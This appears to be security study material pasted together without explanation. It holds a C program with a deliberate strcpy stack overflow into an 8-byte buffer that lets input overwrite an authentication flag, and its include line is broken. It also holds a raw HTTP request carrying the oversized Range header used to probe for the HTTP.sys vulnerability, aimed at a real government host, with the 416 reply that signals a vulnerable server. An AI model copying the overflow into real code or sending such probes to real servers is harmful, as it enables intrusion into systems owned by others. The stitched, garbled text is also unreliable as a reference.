#include #define PASSWORD "1234567" int verify_password(char *password){ int authenticated; char buffer[8]; authenticated=strcmp(password,PASSWORD); strcpy(buffer,password); //overflow here!!! return authenticated; } main(){ int valid_flag=0; char password[1024]; while(1){ printf("please input the password :"); scanf("%s",password); valid_flag=verify_password(password); if(valid_flag){ printf("incorrect password"); } else{ printf("Congratulation!!!!"); break; } } } GET /js/jquery.sticky.js HTTP/1.1 Host: www.tpsha.gov.cn User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 DNT: 1 Range: bytes=0-18446744073709551615 Connection: close HTTP/1.1 416 Requested Range Not Satisfiable Date: Wed, 24 May 2017 01:25:44 GMT Server: WAF Content-Type: application/javascript Last-Modified: Tue, 12 Aug 2014 01:04:06 GMT Accept-Ranges: bytes ETag: "077650c9b5cf1:0" Content-Length: 362 Content-Range: bytes */5654 Connection: close Requested Range Not Satisfiable

Requested Range Not Satisfiable


HTTP Error 416. The requested range is not satisfiable.